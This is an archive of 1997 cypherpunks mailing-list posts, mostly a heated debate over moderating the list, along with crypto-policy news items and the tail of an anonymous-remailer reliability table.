-----------------------------------------------------------------------
nym      config@nym.alias.net             #**#+*#**-#+     4:51 100.00%
dustbin  dustman@athensnet.com            ---+-------+  1:50:51  99.99%
weasel   config@weasel.owl.de             ++++--+++++   1:09:14  99.85%
lead     mix@zifi.genetics.utah.edu       ++--++++++++    50:42  99.80%
balls    remailer@huge.cajones.com        ###*###+-- #     5:45  99.62%
squirrel mix@squirrel.owl.de              ++++--+++ +   1:07:30  99.46%
cyber    alias@alias.cyberpass.net        +*+ *++++*++    40:43  99.23%
winsock  winsock@rigel.cyberpass.net      -----------   3:42:43  99.09%
lucifer  lucifer@dhp.com                  +   ++++++++    47:05  99.03%
exon     remailer@remailer.nl.com          ##### #* *#     2:02  98.68%
middle   middleman@jpunix.com             ++.--.- ---+  5:48:30  98.23%
haystack haystack@holy.cow.net            ***#*+# *#-+    15:27  97.21%
extropia remail@miron.vip.best.com        ------- .-    6:28:55  96.31%
replay   remailer@replay.com               *   +++-***    15:53  93.06%
reno     middleman@cyberpass.net          +--+     --+  1:20:32  91.27%
mix      mixmaster@remail.obscura.com     +-.-_-*+     14:45:36  77.02%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl12.crl.com>
Date: Mon, 3 Feb 1997 08:10:58 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702031610.IAA26576@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Mon, 3 Feb 1997, Timothy C. May wrote:

> Unfortunately, Sandy responded to my post with his own flames ("piffle,"
> "disingenous," "straw man," etc.). Now he may well think his points are not
> flames becuase they are "true," but to me they take the form of flames.

But they are not ad hominem attacks on Tim May.  The are my
opinions of some of his arguments.  Even very smart people such
as Tim say poorly thought out or even silly things.  

> But then I have long disliked Sandy's method of argument. Nothing personal. But

Nor I, Tim's.  Nothing personal, but that's the point.  It is
still possible to conduct ourselves with mutual respect even if 
our views and styles differ.

> As Sandy did a too-common section-by-section disssection, I'll do the same
> for his comments.

After reading through Tim's post, I don't think much would be
served by doing another point by point response.  From Tim's
tone, it appears he is still seething about how this all came
about, so I'll just leave our two expressions of opinions where
they were.  I have no wish to exacerbate any hard feelings Tim
may be having.
 

 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Patrick May <pjm@spe.com>
Date: Mon, 3 Feb 1997 08:41:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702031641.IAA27154@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Sandy Sandfort writes:
[ . . . ]
 > On Sun, 2 Feb 1997, Timothy C. May wrote:
[ . . . ]
 > > Fourth, it sent a message to enemies of liberty that "Even the 
 > > Cypherpunks have found it necessary to abandon their anarchic
 > > ways."
 > 
 > That's one message that one could take from all this, I suppose.
 > I don't see it that way, nor do several list members who thanked 
 > me in private e-mail for improving the list.  Again, YMMV.

     This is the strongest point in Mr. May's essay, and it is not
easily dismissed as a difference in perspective.  I admit to looking
forward to the moderation experiment when it was announce; the noise
on the list was phenomenal even by cypherpunk standards.  My procmail
filters were approaching the level of complexity required for
self-awareness and the ASCII art still slipped through.  Plus, I
generally agree with Mr. Sandfort's positions.

     The point above demonstrates that support of the current solution
is not rationally justified.  Banning people from the list, however
ineffectually, and imposing moderation on the main list, rather than
offering another filtering service, does indeed support the thesis
that even a virtual anarchic society must resort to a central
authority to solve some problems.

     The moderation mechanism is the message.

 > What didn't work was "local filtering" which has no feed-back 
 > loop to engender comity.

     This is a strong rebuttal.  The primary affect of local filtering
is that posts which are filtered do not garner as many responses as
those which are not.  This feedback is swamped by the tendency of
filtered messages to generate flames from those who do not filter
them.

     Filtered sublists are a more effective technique, available to
non-technical subscribers as well.

     Some of the more advanced tools discussed here, such as
collaborative filtering, rating schemes, etc. have potential if the
ease-of-use barriers can be overcome.

     A cryptoanarchic solution, however, should be technical and
individual.  Centralized human moderation does not have the cypherpunk
nature.

Regards,

Patrick May







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Mon, 3 Feb 1997 07:12:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My Departure, Moderat
Message-ID: <199702031512.HAA25754@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Hi there,

 > ...and saw no point in wasting even more of my time arguing against the New
 > Cypherpunks World Order, as the NCWO was clearly presented as a fait
 > accompli, not something ablut which opinions of list members (or even list
 > _founders_, at least not me) were being sought.

 -=> Quoting In:sandfort@crl11.crl.com to Harka <=-

 In> Factual error #2.  There was a call for comment; Tim chose not to
 In> do so.  In retrospect, I wish we had run it by Tim, Eric and
 In> Hugh in more detail before making the annoucement, but we didn't.
 In> Certainly a tactical error and a breach of protocol, but not the
 In> end of the world.  Sorry Tim.  I should have spoken to you first.

Tactical error and breach of protocol, but not the end of the
world??
Very weak and dangerous argument. I already hear the Administration
saying: "Oh sorry, we didn't tell you about the new wiretaps
affecting 50 percent of all phone lines. Certainly a tactical error
and a breach of protocol, but HEY, it's _not_ the end of the world!
Plus, it's good for you!"

 > * But the really important issue is this: is the _physical hosting_ of the
 > Cypherpunks mailing list coterminous with the "Cypherpunks"? If the list
 > was hosted by, say, UC Berkeley or PGP Incorporated, would we consider
 > these hosts to be the "owners" of the Cypherpunks group?...

 In> I think this is a Straw Man.  John and I have never argued that
 In> John "owns" cypherpunks.  When a Cypherpunk meeting is held in
 In> someone's living room, however, I don't think it's asking to much
 In> to ask everyone to follow the local rules (e.g., "no shoes in the
 In> house" or "no smoking" or even "no ad hominem attacks").  As Tim
 In> is fond of saying, "my house; my rules."  I don't think this
 In> means Tim "owns" a physical meeting in his house.

It really doesn't matter. I do agree, that having a meeting in,
let's say, your house, everybody has to submit to the "local rules",
i.e. no shoes, no smoking etc.. To avoid those rules means not to go
to that location.
However, any rules in a certain location do NOT affect speech. While
I may enforce the rule for people not to smoke in my house, I can't
enforce anything in regards to their speech. The mere try would be
counterproductice to having a meeting in the first place.
On a mailing list like this one, trying to enforce certain
_subjective_ standards is even more counterproductive, especially on
the self-proclaimed fore-front of liberty (Cypherpunks).
I do agree with TCM, that this is an argument for the very enemies
of free speech and neglecting the individual filtering-capabilities
of each subscriber.

 In> no evidence that it has made things worse.  Remember, there are a
 In> hand-full of subscribers to the Flames list, 20-30 on the
 In> Unedited list and *2000* or so on the Moderated list.  Sure some
 In> of that may be due to laziness, but it would be cavalier in the
 In> extreme to claim that such an overwhelming acceptance of
 In> moderation is merely an artifact of inertia.

Not necessarely. By subscribing the regular way: <subscribe
cypherpunks user@adress.com> one gets on the moderated list by
default. It might take (esp. new) people a while to realize, it's
moderated. And since it's Cypherpunks, they subscribed to, they
don't even _expect_ such things in the first place...
I'd do it vice versa, having them subscribe to unedited by default
and only if they make the effort (deliberate choice) to get on any
kind of moderated version, they can do so by sending a message to
majordomo.


Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
/* E-mail: harka@nycmetro.com (PGP-encrypted mail preferred) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMvCiUzltEBIEF0MBAQHYGAf+In7n3Us+4g7GtHTlXynV5f1r1n0kF2/1
KCmMvng05kHUL9c2ucG/oVZAy821quvbbgQNGmEbpkbPQezCFLesWLSQ+SaA0XGm
KNC8PqjiqGVHyi0UonhE6z48j0tyt1pbgYFk15nm8pb2ejSR77suXGqDNYKabqu3
MsGnn/JFWlBEArvkSjnQ6Psgs9kqi+6DLsGlKhICkaRGj5/lTfvoLvdW183WqbAt
9SkpJBjBSTFSDc6IuC0oYWZnEvbVMO8KCkOJGjgOxYDCjh5kRzQn6lB2cKXmQmyH
KxAfMsTLcHV6AcFAONUKzp+TwaUcw2LA4Eu21NtD3bWo03JeHoCQLA==
=f+Ki
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 3 Feb 1997 07:11:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: COM_int
Message-ID: <199702031511.HAA25741@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


2-2-97:

"Telecom equipment makers to develop encryption for mobile phones"

 Matsushita, NEC and Mitsubishi will cooperate in developing scrambler 
 technology to prevent interception of mobile phone calls and other 
 misuse, and will open a research laboratory in Yokohama on Feb. 12.
 Within five years the facility is to perfect encryption technology 
 to protect wireless communications and data transmissions, and for 
 possible use in electronic commerce. Researchers will work to develop 
 a mobile communications version of "public key" scrambling technology 
 now used to secure data transmitted online.

"Electronic Cash Via Wireless Phone, Smart Card In Works"

 Wireless telephones are about to get a new mission as portable money 
 machines. PacBell intends to test ways to blend its mobile phone 
 technology with a smart card that can dramatically upgrade the 
 intelligence of a wireless telephone. People on the go could transfer 
 funds into the card's memory, slide the card into the phone, and then 
 use the phone as a communications device to buy a variety of goods 
 and services.

"Sierra Wireless Combines Cellular Data, GPS; MP 200-GPS Modem 
Provides Both in a Single Package"

 The combination MP200-GPS product includes an MP200 rugged CDPD/cellular
 3-watt mobile modem, a state-of-the-art Trimble GPS receiver module and 
 a choice of magnetic mount or hard mount GPS active antennas. In addition, 
 the MP200-GPS includes an  internal microcontroller, so it can operate 
 without a PC or mobile data  terminal as a standalone tracking monitor. 
 A remote host computer can wirelessly program the unit to report position 
 on a preset timeout,  whenever the unit moves a certain distance, or if 
 an external alarm is triggered.

-----

COM_int







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike McNally <m5@vail.tivoli.com>
Date: Mon, 3 Feb 1997 08:10:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Fortune, 3 Feb
Message-ID: <199702031610.IAA26568@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Big article in Fortune about e-mail privace.  One little paragraph
about encryption ("scrambling").  Fairly clue-free overall, but
entertaining.

-- 
^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^
Mike McNally -- Egregiously Pointy -- Tivoli Systems, "IBM" -- Austin
mailto:m5@tivoli.com    mailto:m101@io.com    http://www.io.com/~m101
^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 3 Feb 1997 12:11:17 -0800 (PST)
To: cryptography@c2.net
Subject: Re: Voice Encrytion/Scrambling
Message-ID: <199702032011.MAA01002@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 05:09 PM 2/2/97 -0800, Huge Cajones Remailer wrote:
>Can anyone comment on and give pointers to devices designed to
>encrypt voice transmission over POTS lines?  I am interested in 
>the respective sound qualities (if you've tried it) and
>relative strengths of encryption algorithms.

http://www.comsec.com/

Uses 2048 bit DH and 3DES. The voice quality is excellent.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 3 Feb 1997 14:59:04 -0800 (PST)
To: sandfort@crl.com
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702032259.OAA05072@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



My main complaints about the `filtering' service forced upon the list
readership are that:

1. It was done to the main list!  If cypherpunks were left unchanged,
and a `cypherpunks-edited' were created I wouldn't have a problem, it
would be just another filtered list.  However there are already
several filtered lists, so the usefulness of this is limited anyway.
Merely including details of these filtered lists in the sign on
message, and posting a reminder every few weeks would suffice.  I and
apparently, most others didn't choose to subscribe to a filtering
service.  I object to this choice being over-ridden.  OK, so I can
re-subscribe to cypherpunks (cypherpunks-unedited), but many won't
bother.  (Actually I subscribe to cypherpunks-flames and cypherpunks,
as the most efficient way of receiving all messages, and still being
able to see the moderation results).

2. The impetus for moderating the main list seems to be as a result of
a few posts by Dimitri.  Really, if this is all it takes to destroy an
unmoderated list, I've got to laugh at cypherpunks collectively.  Why
is it such a big deal to press the `n' key, if you don't like what
Dimitri, or anyone else, has to say?  If your time is too valuable to
press `n' keys, what is wrong with subscribing to the existing
filtered lists?  Or with setting up a kill-file?  Or maybe generating
a bit of signal yourself?

3. It is even more funny that in my opinion Dimitri purposefully set
out to raise the issue of censorship (after his own partial
censorship), and has succeeded to this extent.  The whole thing is
just allowing yourself to be manipulated by his transparent efforts.

4. There is already a moderated forum for discussion of cypherpunks
issues: cryptography@c2.net, why do we need another one?

My vote is for renaming:

	`cypherpunks-unedited' -> `cypherpunks'
and	`cypherpunks' -> `cypherpunks-edited'

and for moving all those still on the edited list to the unedited
list.  Post a note advertising the availability of a new filtering
service called `cypherpunks-edited@toad.com', along with the
references to the other competing filtering services.

If at the end of the trial forced moderation period, John Gilmore
doesn't have the bandwidth on toad.com to support all of
`cypherpunks', `cypherpunks-edited' and `cypherpunks-flames', I
suggest that a new home is found for `cypherpunks'.  Or perhaps Sandy
as proponent of his filtering service, would be able to find a home
for `sandys-filtered-cypherpunks' service, as with the other filtering
services.

Personally, I am not in the habit of flaming people, or using the word
`fuck', in general discussion, but I find the way this `filtering
service' was foisted on the main list highly objectionable.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Mon, 3 Feb 1997 12:11:54 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Filling Power Vacuums
Message-ID: <199702032011.MAA01084@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 6:57 AM -0800 2/3/97, Sandy Sandfort wrote:

>After reading through Tim's post, I don't think much would be
>served by doing another point by point response.  From Tim's
>tone, it appears he is still seething about how this all came
>about, so I'll just leave our two expressions of opinions where
>they were.  I have no wish to exacerbate any hard feelings Tim
>may be having.

Indeed, I have been seething for the past several weeks (off and on, as I
am fortunately able to usually put it out of my mind and do other things
with my mental energies....).

I think I have figured out why I'm seething.

It's about "power grabs."

You see, in any anarchic situation, where reliance on self-control and
self-filtering is emphasized, there is always a _temptation_ for some to
"fill the power vacuum" and grab power.

I learned in my years at Intel how easy it was to start bossing people
around, and as I hired engineers and scientists, I built up quite a little
empire. But I didn't like what it was doing to me, as it distanced me from
the technology and also brought out "control freak" tendencies....I started
worrying about how my people were using their time ("my" time), and I
increasingly applied my own notions of what they should talk about and what
were suitable topics for laboratory chatter. In other words, I became a
censor. (Not a government censor, but a censor in the broader definition
I've already cited.)

So I gave it up. Even before eventually retiring from Intel, I elected to
leave the management track and rejoin the "technical ladder," becoming one
of Intel's so-called Principal Engineers. No longer could I control others,
except through the example I set and the information I provided. And I was
happy I had moved away from "the dark side of the force."

(I accept the role hierarchies play in corporations. They can't be built
with just people like me. They need leaders, controllers, power freaks,
etc. But a virtual community like the Cypherpunks group is not such a
heirarchical organization, and it needs few rules, leaders, etc. "We don't
need no steenking leaders.")

As this relates to Cypherpunks, I have steadfastly refused to consider any
"management role," so to speak, in how the list is run, the formal
policies, etc. I'm not saying there has been a call for management (though
Detweiler used to rail against us for not having a management heirarchy,
for not having rules and democratic procedures for "making decisions"),
just that the power vacuum in anarchies such as ours is often an open
invitation for someone to step in and "provide structure and guidance." I
resisted any thoughts of doing this, and argued against this sort of thing
whenever the topic came up in conversation. I chose to lead only by the
posts I wrote and the ideas I worked on.

There have been frequent calls over the years for the Cypherpunks to have a
more permanent presence, perhaps even an office in Washington, D.C., such
as the EFF had, the CPSR still has, and so on. And to have an Official
Spokesman, a contact person for the media droids to contact. The calls for
this have declined in the last couple of years, as people figured out that
the Cypherpunks are not about having spokespunks for us, and that the media
will just have to deal with the "anarchy" of having to herd cats to get
information out of us.

Now, of course, the message is being sent that Sandy Sandfort is in some
sense the de facto leader, being that he determines what traffic goes out
to the main list and what traffic gets bounced into the flames list. In
fact, I'll make a prediction: The media will see that he is the chief
censor and arbiter of worthiness and will increasingly contact him for the
Official Point of View on various items they are interested in.

It distresses me greatly that Sandy Sandfort has elected to move into this
"power vacuum" to nominate himself as our Leader and Chief Censor. Foo on
that.

(I used to hear this at Intel, where the argument for a hierarchical
structure was much stronger, to wit: "Tim, if you won't agree to manage
others, you'll have to accept that people less technically competent than
yourself are going to  elect to become managers and they'll probably become
_your_ manager in the not too distant future.")

So, I sort of thank Sandy for helping me to realize certain things that I
may not have explicitly realized before.

Namely, I realize that I don't want the karmic burdens of power myself,
preferring to lead only by the example I set and the ideas I generate. This
is why "market anarchies" (books, music, ideas, all things where "no ruler"
exists) appeal to me so much. And since I don't wish to assume the mantle
of leadership, and don't see much need for leadership or global censorship
(as opposed to locally contracted for filtering, a la Eric Blossom's list,
or Siskel and Ebert giving recommendations, or ratings of restaurants,
etc.), I am resentful and suspicious of people who _do_ step into the
"power vacuum" to lead and control.

Now I grant you that Sandy's form of leadership and control is relatively
mild, but the very notion that Sandy can reject a long essay because of a
couple of phrasings he dislikes (this was his "judgment call" point about
why he (reluctantly?) allowed my post to go out) is a step in the wrong
direction.

And given our strong ideological bias toward market anarchies, this move
toward censorship stands out like a sore thumb.

At least the issue would be clearer if Sandy passed all posts through but
deleted sections that offended him and marked deleted sections as
"**CENSORED**."

Yes, I'm seething. Sandy is right about that. I saw a group I helped create
and spent thousands of hours on, writing articles and developing ideas
choose--by fiat from the owner of the machine the list was being sent out
from--to embrace the dark side, the control freak side. In the name of
"comity," Sandy's term for the bonhomie he thinks he can cultivate, we lose
our ideological purity.

"Hey, even the Cypherpunks have embraced censorship."

Instead of letting the power vacuum remain unfilled, and suggesting to
people that they solve the problems it creates as best they can, Sandy
jumped in to fill the vacuum.

This is what I'm seething about. And even dropping the power grab at the
end of the "experiment" will not stop this seething.

Fuck it.

--Tim May


"



Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "tmcghan@gill-simpson.com" <tmcghan@gill-simpson.com>
Date: Mon, 3 Feb 1997 08:11:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: GAK cracking?
Message-ID: <199702031611.IAA26584@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Just days after a U.S. graduate student cracked the most powerful
computer encryption system allowed out of the country, the Commerce
Department announced it would allow three companies to export an
even stronger system. 

Until this year, computer encryption programs, which scramble 
information and render it unreadable without a password or software 
"key," were classified as munitions and stronger programs could not 
be exported. 

But under a controversial new Clinton administration policy that took 
effect Jan. 1, companies may receive permission to export stronger 
programs. 

"I'm happy that we've been able to do this within the first month 
without rancor or difficulty," Under Secretary of Commerce for Export 
Administration William Reinsch told Reuters in a telephone interview. 

To export stronger programs immediately, companies must agree to 
incorporate features within two years allowing the government to 
decode encrypted messages by recovering the software keys, however. 

The administration's policy has been widely criticized as not 
relaxing the export limits enough and some companies feared the requirement 
for a two-year plan would substantially delay export approvals. 

The quick approvals should quell some of the criticism and encourage 
more applicants, Reinsch said. 

"As a result of this, you will have more companies taking it
seriously and we will expect more plans over the next couple of
months," he said. 

Encryption was once the realm of spies and generals. But with the
explosion of online commerce on the Internet, encryption has become
a vital tool for protecting everything from a business' email
message to a consumer's credit card number sent over the net. 

The amount of protection afforded by encryption is largely a function 
of the length of the software key measured in bits, the smallest unit of 
computer data. 

Companies said products with just 40-bit long keys, the old limit, 
were too easy to crack. The approvals came just days after Ian Goldberg, a 
graduate student at the University of California, cracked a message 
encoded with a software key 40-bits long. 

The government did not name the companies given permission to export 
stronger, 56-bit programs, but Glenwood, Md.,-based Trusted 
Information Systems acknowledged that it was one of the three. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Hendrickson <pdh@best.com>
Date: Mon, 3 Feb 1997 12:11:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Dissolving Choke Points
Message-ID: <199702032011.MAA01075@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I was amused by the similarities of USG crypto policy and the
moderation of the cypherpunks list.  Recently a number of new
regulations were announced to go into effect by a certain date.
Requests for comments were made after the policy was announced.  Many
of us thought that was pretty sneaky.  I feel the same way about the
moderation plan.

Moderation has been a failure.  I'm pretty good at filtering and I
can sadly report that there is very little signal out there.

There are lessons to be learned here.  One is that censorship does
not promote a stimulating and creative dialogue.  The cypherpunks list
right now is about as interesting as hanging out by the 7-11.

Another lesson is the danger of choke points.  We can see how
tempting it is for people to exercise their control.  Even John Gilmore
was unable to restrain himself from involuntary social engineering
experiments.  Who would we have considered to be more trustworthy?

Toad.com is a choke point, not just in terms of moderation but in
terms of the rate at which it can distribute messages.  Let's
replace it.

What we want are many machines carrying the cypherpunks list.  A
message posted to any machine goes to all of the others.  Each
machine sends messages to its subscribers only once.  Some of
these machines should be across borders.

The mail loop and multiple posting problems are solved by observing
the message IDs.

Fast implementation: use moderated mailing list software.  Put a
filter in the .forward file of the "moderator" account which looks
at the message ID and forwards the message if it hasn't been seen
already.  The mailing list machines all subscribe each other.

I've been looking for a stable machine with a good net connection to
do this.  I haven't found one.  However, if we have many machines
sharing the load, the stability of any one unit is not as important
because the list will survive multiple "hits".  Only the subscribers
on one machine will be affected by having their messages delayed.
This greatly reduces the work and responsibility for any one list
operator.  (As John will attest, keeping a machine running 24 hours a
day, 7 days a week, rain or shine, is a lot of work.)

Also, with multiple machines, each unit handles a small amount of the
load.  This makes more machines available and has less impact on
people's net connections.

Last I checked, there were about 1200 addresses on the mailing list at
toad.com.  All we need are about 10 machines to take 120 subscribers
each.  (This is a completely manageable load.)

Do you have a Unix machine on the Net?  Does it have sendmail and
Perl?  Then you have all that it takes to participate.  Send me
mail and I'll help you set it up.

Peter Hendrickson
ph@netcom.com

P.S. I like and respect John and Sandy and I've learned a lot from
both of them.  While basically well-intentioned, they just made a
mistake in this instance.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 3 Feb 1997 08:41:13 -0800 (PST)
To: Adam Shostack <adam@homeport.org>
Subject: Re: PCS Encryption?
Message-ID: <199702031641.IAA27146@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>	I was under the impression that Fortezza was ok for classified
>traffic.  Did I miss the changeover, was it unannounced, or was I
>simply misremembering?

Fortezza now comes in several implementations for various, variable
and multiple levels of classification and message handling. There is info on 
latest mani-dexterous products at NSA's armadillo and missi sites.

If you don't want to be logged by NSA, see the Mykronyx bouquet at:

   http://jya.com/fortezza.htm

To be sure, you might get logged anyway: jya.com may have been
approved by the Administrative Office of the United States Courts for a 
snoop.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eldon Jenkins <EJENKINS@mhz.com>
Date: Mon, 3 Feb 1997 12:11:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: My Departure, Moderation, and "Ownership of the List" -Reply
Message-ID: <199702032011.MAA01019@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Sandy, I've been a member of this list off and on for the past few years. 
In reading this list daily for quite some time I feel that the filtering you are
doing has made quite a substantial and positive change.  Normally I
would spend an hour or so at work filtering through the list deleting
endless threads of nonsense just so I could glean the valuable
information that is hidden in midst of the mindless chatter.  Now the time I
spend searching for information has been drastically reduced and I
would like to thank you for this.  While I am against censorship and
moderation whole-heartedly I see this as a different case.  You are not
preventing anyone from posting, you just sort the posts and place them
in their appropriate list.  I see your efforts as more of an organizing
project rather then censorship.  I would love to see the list continue to be
moderated.  Just my two cents though.

Eldon Jenkins
USRobotics
Programmer





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "tmcghan@gill-simpson.com" <tmcghan@gill-simpson.com>
Date: Mon, 3 Feb 1997 09:42:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702031742.JAA28108@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


on or about:  Sun, 2 Feb 1997 14:51:47 -0800

in a message allegedly from:  "Timothy C. May" <tcmay@got.net>

{snip}

> the really important issue is this: is the _physical hosting_ of the
> Cypherpunks mailing list coterminous with the "Cypherpunks"? 

{ much thoughtful and well-phrased commentary elided }

> I would have had no problem had John announced that he was creating
> a new list, the "Good Stuff" list, with Sandy has his Chooser of
> Good Stuff.

> But by making the _main list_ the censored one, this skewed things
> considerably.

> * Why, many reasonable people may ask, did I not simply unsubscribe
> from the "Cypherpunks" list and subscribe to the"Cypherpunks-Unedited) 
>(or whatever it is called) list? Because of my overall anger 

> But the clear message by having Sandy censor the
> main list (the default list, the list name with the main name, the
> list we all know about, etc.) 
{snip}

Now that the horse is out of the barn, ( or maybe not? ), I can't help
but ask whether one specific 'change to the change' would have
satisfied most of your objections:  retaining 'cypherpunks' as the
name of the unedited, all-the-crud-you-can-read-and-then-some,
version, and adding an 'cp-worthwhile' list for those of us who prefer
not to wade thru mountains of garbage to glean a few precious tidbits.

What's in a name?  Is perception more important ( to you ) than 
reality?  If just swapping names between cp and cp-unedited would make
such a large difference, I humbly suggest to you that you consider how
much labels need to matter.  Is the title of the group more important
the the content?  From where I sit, this looks a lot like a
style-over-substance complaint.  Of course, I don't have my trifocals
on just at the moment.

It may also be worth noting that the current 'status quo' is a 
transient experiment, with a fairly short time limit.  When JG, 
Sandy, et al. evaluate the results with an eye to future 
direction(s), they may well consider an 'inverted default' for the two
list names (i.e.:  cp / cp-unedited)

In any event, please accept my .02 in the spirit in which it is 
intended ( constructive criticism ).

/* */






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 3 Feb 1997 12:11:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Moderation [Tim,Sandy]
Message-ID: <199702032011.MAA01053@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Since it seems to be the topic of the day, here are some of my thoughts on
moderating CP.

o Moderation achieved what it could achieve. Spam is no longer clogging up
the list. Insults, i.e., "Tim Mayo fucks children", are no longer polluting
the list.

o Moderation did not achieve what it couldn't achieve. The level of noise
has been reduced, but signal has not been increased. This is sad, but true.
The attempt was probably bound to fail, since many of the "top signal
generators" have long left the list and are not about to come back. All
that is remaining are a few diehards, such as myself, some TLA goons
(knowingly or unknowingly) working against the cause, and many newbies and
observers.

I believe that Cypherpunks is beyond hope of recovery. In fact, each day
Cypherpunk (as in cypherpunks@toad.com) lives on, it does damage to the
cause. Let's kill the list. Once and for all. Let the hard core crypto go
to Coderpunks, the politics to Cryptography, and the garbage into the void.

